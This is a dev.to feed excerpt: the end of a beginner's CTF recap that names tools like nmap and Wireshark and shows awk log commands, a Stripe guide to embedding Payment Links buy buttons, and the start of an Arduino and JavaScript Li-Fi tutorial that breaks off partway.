  &lt;a&gt;Forensics&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;This section focuses on finding things in different types of files. It could involve understanding how to deal with corrupted files, being able to understand information in some config files in a format you've never worked with, or figuring out the right tool to use to extract data.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a&gt;Scanning &amp;amp; Reconnaissance&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;This section is the one I am the least experienced in. It involved scanning for open ports, or finding domains connected to a server, etc.&lt;/p&gt;

&lt;p&gt;I mainly used &lt;code&gt;nmap&lt;/code&gt; to scan for ports and &lt;code&gt;gobuster&lt;/code&gt; to find potential subdomains.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a&gt;Log Analysis&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;In this section, the challenges give you different kinds of log files to analyse. &lt;/p&gt;

&lt;p&gt;I mainly used &lt;code&gt;awk&lt;/code&gt; to filter through the lines and extract the information I needed.&lt;/p&gt;

&lt;p&gt;An example of command is display only the first element on each line of a log file would be&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awk '{print $1}' access.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and to sort them, remove duplicates and count the number of entries, it would be something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awk '{print $1}' access.log | sort | uniq | wc -l
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;a&gt;Network traffic analysis&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;In this section, you are given files with network packets and you have to analyse them to find specific information.&lt;/p&gt;

&lt;p&gt;I mainly used &lt;a href="https://www.wireshark.org/" rel="noopener noreferrer"&gt;Wireshark&lt;/a&gt; and &lt;a href="https://www.aircrack-ng.org/" rel="noopener noreferrer"&gt;aircrack-ng&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;Overall it was an intense weekend but I'm happy with how much I did and learnt. I was a bit worried about participating in a CTF before because I thought I wouldn't be able to do anything considering I have little experience in cybersecurity, but was surprised with how much I was able to solve by researching on the spot and going through the practise game a few weeks before. I'm definitely excited to learn more!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>security</category>
    </item>
    <item>
      <title>Use Payment Links as an embedded button</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Wed, 01 Mar 2023 18:19:00 +0000</pubDate>
      <link>https://dev.to/4thzoa/use-payment-links-as-an-embedded-button-1bdp</link>
      <guid>https://dev.to/4thzoa/use-payment-links-as-an-embedded-button-1bdp</guid>
      <description>&lt;p&gt;We recently released a new way to use &lt;a href="https://stripe.com/payments/payment-links" rel="noopener noreferrer"&gt;Stripe Payment Links&lt;/a&gt; on your website. You can now easily turn them into customizable &lt;a href="https://stripe.com/docs/payment-links/share#embed-button" rel="noopener noreferrer"&gt;embedded buttons&lt;/a&gt; using the Dashboard, generating a custom piece of code that you can add to your codebase so you can sell your products online with minimal effort. &lt;/p&gt;

&lt;h2&gt;
  
  
  Creating the Buy button
&lt;/h2&gt;

&lt;p&gt;In the &lt;a href="https://dashboard.stripe.com/" rel="noopener noreferrer"&gt;Stripe Dashboard&lt;/a&gt;, select a product you have generated a Payment Link for. Under the Pricing section, click on the “View payment link” button to be redirected to the details page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F19mmcmwxoeger0i0bwnp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F19mmcmwxoeger0i0bwnp.png" alt="Screenshot of the pricing section on the payment link's details page showing the " width="800" height="169"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You’ll then click on “Buy button,” which is located to the right of the payment link.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F09adzeuwseau1zbn66i8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F09adzeuwseau1zbn66i8.png" alt="Screenshot of the payment link's details page showing the " width="800" height="189"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A panel will appear on the right to let you customize your button’s appearance and content.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F54q2oybug4k1m3qxckok.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F54q2oybug4k1m3qxckok.png" alt="Screenshot of the Buy button panel with the generated code sample and fields that can be edited to update the look and feel." width="800" height="707"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Embedding the button
&lt;/h2&gt;

&lt;p&gt;When your button is ready, copy the code sample provided and paste it into the part of your codebase responsible for rendering the UI where you’d like the button to be displayed.&lt;br&gt;
You will notice that the button is made of a script tag that imports a JavaScript library dedicated to handling how these buttons work, in addition to a custom &lt;code&gt;&amp;lt;stripe-buy-button&amp;gt;&lt;/code&gt; tag with a button ID and your publishable key as attributes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;async&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://js.stripe.com/v3/buy-button.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;stripe-buy-button&lt;/span&gt;
 &lt;span class="na"&gt;buy-button-id=&lt;/span&gt;&lt;span class="s"&gt;"buy_btn_1MgEyoDNsVQ3fzInaHTBBhYR"&lt;/span&gt;
 &lt;span class="na"&gt;publishable-key=&lt;/span&gt;&lt;span class="s"&gt;"pk_test_51ABC"&lt;/span&gt; &lt;span class="err"&gt;//&lt;/span&gt; &lt;span class="na"&gt;replace&lt;/span&gt; &lt;span class="na"&gt;with&lt;/span&gt; &lt;span class="na"&gt;your&lt;/span&gt; &lt;span class="na"&gt;publishable&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;
&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/stripe-buy-button&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code sample above works well to display a button that sells a single product. However, if you want to use a Buy button for multiple products and your UI is built using a component-based front-end framework such as React, you will have to adapt this code sample to be more dynamic.&lt;br&gt;
For example, if you are rendering a list of your products and you want to display a Buy button for each product using a reusable custom component, you could adapt the code sample to something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="c1"&gt;// The list of your Buy button IDs&lt;/span&gt;
 &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;buttonIds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
   &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;buy_btn_123ABC&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;buy_btn_234DEF&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;buy_btn_567GHI&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
 &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;// The component to display the button that receives a single button ID as parameter&lt;/span&gt;
 &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BuyButtonComponent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buttonId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
     &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;buy&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;
       &lt;span class="nx"&gt;buy&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;buttonId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nx"&gt;publishable&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;pk_test_51ABC&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;// replace with your publishable key&lt;/span&gt;
     &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
     &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/stripe-buy-button&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;   &lt;span class="p"&gt;);&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// Loop through the IDs and display a button for each product&lt;/span&gt;
 &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
   &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
   &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;buttonIds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;BuyButtonComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;))}&lt;/span&gt;
   &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you are building your website using this component-based approach, you will need to add the script tag separately in the &lt;code&gt;head&lt;/code&gt; tag of your main HTML file.&lt;br&gt;
That’s it. No additional change is necessary to start using this feature.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Using Buy buttons can simplify the implementation of Stripe Payment Links into your website by providing a short auto-generated code sample that you can copy and paste into your codebase and display buttons that are customized to your brand’s look and feel.&lt;/p&gt;

&lt;p&gt;We hope you’ll share how you’re planning to use them. &lt;/p&gt;

&lt;p&gt;You can also follow Stripe developer updates on the following platforms:&lt;br&gt;
📣 Follow &lt;a href="https://twitter.com/stripedev" rel="noopener noreferrer"&gt;@StripeDev&lt;/a&gt; and &lt;a href="https://twitter.com/i/lists/1459720002567868418" rel="noopener noreferrer"&gt;our team&lt;/a&gt; on &lt;a href="https://twitter.com/StripeDev" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;br&gt;
📺 Subscribe to our &lt;a href="https://www.youtube.com/StripeDevelopers" rel="noopener noreferrer"&gt;YouTube channel&lt;/a&gt;&lt;br&gt;
💬 Join the official &lt;a href="https://discord.com/invite/RuJnSBXrQn" rel="noopener noreferrer"&gt;Discord server&lt;/a&gt;&lt;br&gt;
📧 Sign up for the &lt;a href="https://go.stripe.global/dev-digest" rel="noopener noreferrer"&gt;Dev Digest&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  About the author
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1pn6ccfoqvg7a18a9pev.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1pn6ccfoqvg7a18a9pev.png" alt="Charlie's profile picture. She is a caucasian woman with long brown hair, wearing glasses. She is standing in front of a white wall with purple lights." width="200" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/@devdevcharlie" rel="noopener noreferrer"&gt;Charlie Gerard&lt;/a&gt; is a developer advocate at Stripe, a &lt;a href="https://www.amazon.com/Practical-Machine-Learning-JavaScript-TensorFlow-js/dp/1484264177" rel="noopener noreferrer"&gt;published author&lt;/a&gt; and a &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;creative technologist&lt;/a&gt;. She loves researching and &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;experimenting with technologies&lt;/a&gt;. When she’s not coding, she enjoys spending time outdoors, reading, and setting random challenges for herself.&lt;/p&gt;

</description>
      <category>stripe</category>
      <category>paymentlinks</category>
      <category>lowcode</category>
      <category>javascript</category>
    </item>
    <item>
      <title>From Wi-Fi to Li-Fi, sending data via light using Arduino and JavaScript</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Mon, 13 Feb 2023 16:56:15 +0000</pubDate>
      <link>https://dev.to/4thzoa/from-wi-fi-to-li-fi-sending-data-via-light-using-arduino-and-javascript-4mpb</link>
      <guid>https://dev.to/4thzoa/from-wi-fi-to-li-fi-sending-data-via-light-using-arduino-and-javascript-4mpb</guid>
      <description>&lt;p&gt;There’s a big chance you’re reading this post on a device connected to the internet via Wi-Fi. Your router broadcasts data that is received by a small antenna in your computer, phone or tablet. This data is transmitted over radio waves at a frequency of either 2.4GHz or 5GHz. However, &lt;a href="https://dev.to/stripe/ultrasonic-payments-2958"&gt;other parts of the electromagnetic spectrum&lt;/a&gt; can be used to transmit information. Using visible light, data can be encoded and transmitted using a technology called Li-Fi which aims at using your existing lights for wireless communication.&lt;/p&gt;

&lt;p&gt;In this post, I’ll explain how it works by building a prototype of a Li-Fi project using JavaScript and Arduino.&lt;/p&gt;

&lt;p&gt;If you prefer tutorials in video formats, you can check out this video on Youtube.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/k0Zc0v-rC9o"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;First, here’s the final outcome of my experiments. Data is transmitted using visible light between two devices. This demo shows how a &lt;a href="https://stripe.com/payment-links" rel="noopener noreferrer"&gt;Stripe payment link&lt;/a&gt; can be sent but this technology also works to transmit audio files, videos, and more.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7y7j3liid0i9ll5mca7k.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7y7j3liid0i9ll5mca7k.gif" alt="Demo of a Stripe payment link sent via light" width="600" height="337"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Material
&lt;/h2&gt;

&lt;p&gt;There are a lot of different ways to build this. Here’s the list of components I used for my prototype:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;2 &lt;a href="https://store.arduino.cc/products/arduino-uno-rev3" rel="noopener noreferrer"&gt;Arduino UNO&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;A &lt;a href="https://www.adafruit.com/product/4539" rel="noopener noreferrer"&gt;breadboard&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.adafruit.com/product/1956" rel="noopener noreferrer"&gt;Jumper wires&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A &lt;a href="https://www.adafruit.com/product/2784" rel="noopener noreferrer"&gt;10k resistor&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;A &lt;a href="https://www.adafruit.com/product/2858" rel="noopener noreferrer"&gt;Neopixel Jewel&lt;/a&gt; (a standard LED will work too but you will need an extra resistor and the transmitter and receiver will have to be set up much closer as an LED is less bright than the Jewel).&lt;/li&gt;
&lt;li&gt;A &lt;a href="https://www.adafruit.com/product/2831" rel="noopener noreferrer"&gt;phototransistor&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They are then assembled following these schematics:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5bjbaehaqtp5341vwm8c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5bjbaehaqtp5341vwm8c.png" alt="Schematics showing the 2 Arduinos set up" width="800" height="455"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The board shown at the top is used as the &lt;strong&gt;transmitter&lt;/strong&gt; and will use the Neopixel Jewel connected to pin 7 of the Arduino to &lt;strong&gt;send data via light&lt;/strong&gt;. The board below is the &lt;strong&gt;receiver&lt;/strong&gt; and uses the phototransistor connected to pin A0 to &lt;strong&gt;convert the light intensity back into data&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnnty8qhkhul2yx889dex.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnnty8qhkhul2yx889dex.png" alt="Schematics showing the assembly of both Arduino boards" width="688" height="456"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, let’s dive deeper into how it works.&lt;/p&gt;

&lt;h2&gt;
  
  
  Deep dive
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Converting data
&lt;/h3&gt;

&lt;p&gt;If you’re used to working with computers, you have probably heard many times that, at the lowest level, computers deal with data as a bunch of 1s and 0s. Using light as a medium to send information is quite convenient, as the only state a light can be in is either “on” or “off”. As a result, for this experiment, we’re going to encode 1 as the “on” state and 0 as the “off” one.&lt;/p&gt;

&lt;p&gt;For the rest of this post, let’s consider that we want to transmit the string “Hello, world”. &lt;/p&gt;

&lt;p&gt;Strings are made of characters, and a single character is 1 byte of data. As a byte is 8 bits, each letter in this string can be converted to 8 bits.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4vst70leippr5nczz7al.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4vst70leippr5nczz7al.png" alt="Illustration showing the conversion from ASCII to binary" width="800" height="442"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The decimal representation of the ASCII letter “H” is the integer 72, which can be converted to binary as 01001000.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The complete string “Hello, world” represented in binary is the following: &lt;br&gt;
&lt;code&gt;01001000 01100101 01101100 01101100 01101111 00101100 00100000 01110111 01101111 01110010 01101100 01100100&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To do this conversion using JavaScript, you can use the built-in methods &lt;code&gt;charCodeAt&lt;/code&gt;, &lt;code&gt;toString&lt;/code&gt; and &lt;code&gt;padStart&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This function takes in a string to convert&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;convertToBinary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="c1"&gt;// The string is split into an array of characters&lt;/span&gt;
   &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="c1"&gt;// For each character, charCodeAt(0) is called to get its decimal representation, followed by .toString(2) to get its binary representation and .padStart(8, ‘0’) to make sure the leading 0s are kept and each byte has 8 digits. &lt;/span&gt;
       &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;char&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;padStart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
     &lt;span class="c1"&gt;// Finally, join all converted characters together into a single string.&lt;/span&gt;
   &lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that I’ve covered how the data is converted, let’s talk about how it is transmitted.&lt;/p&gt;

&lt;h3&gt;
  
  
  Transmitting the data
&lt;/h3&gt;

&lt;p&gt;As mentioned above, a string can be converted to binary. The 1s can be associated with the “on” state of a light, and the 0s with the “off”. At first, you might think that a solution would be to loop through the whole binary code, turning the light on when the bit is equal to 1 and turning it off when the bit is 0. A receiver set up as a light sensor could then decode the messages by turning the light states back to 1s and 0s. &lt;/p&gt;

&lt;p&gt;While this is how it works at its core, this is where the details get really interesting.&lt;/p&gt;

&lt;p&gt;Because it’s important that both the transmitter and receiver stay in sync, we need to &lt;strong&gt;create a custom communication protocol&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;First, why do they need to stay in sync? I mentioned in the previous part of this post that the binary equivalent of “Hello, world” is &lt;br&gt;
&lt;code&gt;01001000 01100101 01101100 01101100 01101111 00101100 00100000 01110111 01101111 01110010 01101100 01100100&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If the receiver starts decoding the data at the first bit, then it will be able to retrieve the right information; however that might not always be the case. If the receiver is out of sync by even a single bit, the information it will decode will be incorrect.&lt;/p&gt;

&lt;p&gt;For example, if instead of the first 8 bits “01001000”, it gets “10010000”, it will decode “�” instead of “H” as this value is not a valid ASCII character, and all subsequent characters will also be wrongly decoded.&lt;/p&gt;

&lt;p&gt;Besides, as this technology aims at being used as part of the lights people already have set up in their homes or offices, the lights will likely already be on by the time they’re also used to transmit information.&lt;/p&gt;

&lt;p&gt;As a result, when the lights are on but not transmitting information, the receiver will read an input equal to “111111111111…”, so a communication protocol is needed to define when a message is starting to be sent so the receiver can start the decoding process.&lt;/p&gt;
&lt;h3&gt;
  
  
  Setting up a communication protocol
&lt;/h3&gt;

&lt;p&gt;A light might be on simply to illuminate a space, not to transmit information, so there needs to be some kind of &lt;strong&gt;preamble&lt;/strong&gt; to indicate to the receiver that a message is about to be transmitted. &lt;strong&gt;This preamble will be a change from “on” to “off” state&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;Also, we need to pick a unit of time to define how long the light should reflect the value of each bit transferred. First, let’s say that &lt;strong&gt;each bit changes the state of the light for 100 milliseconds&lt;/strong&gt;, so when the bit is equal to 1, the light stays on for 100 milliseconds, and if the bit is 0, the light turns off for 100 milliseconds. &lt;/p&gt;

&lt;p&gt;Finally, when the 8 bits have been transferred, the &lt;strong&gt;light will be brought back to its original “on” state&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It can be graphically represented like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmp0v0jmtfrmqpfa355bn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmp0v0jmtfrmqpfa355bn.png" alt="Graphical representation of the transmission protocol" width="800" height="266"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then, on the receiver side (represented as the second row of intervals below), we need to detect the preamble when the light changes state from “on” to “off”. Then, we need to wait 1.5x the interval as we don’t want to sample the preamble but we want to make sure we sample our data within the next 100ms where data starts to be transmitted, and sample it 8 times to get the value of each bit.&lt;/p&gt;

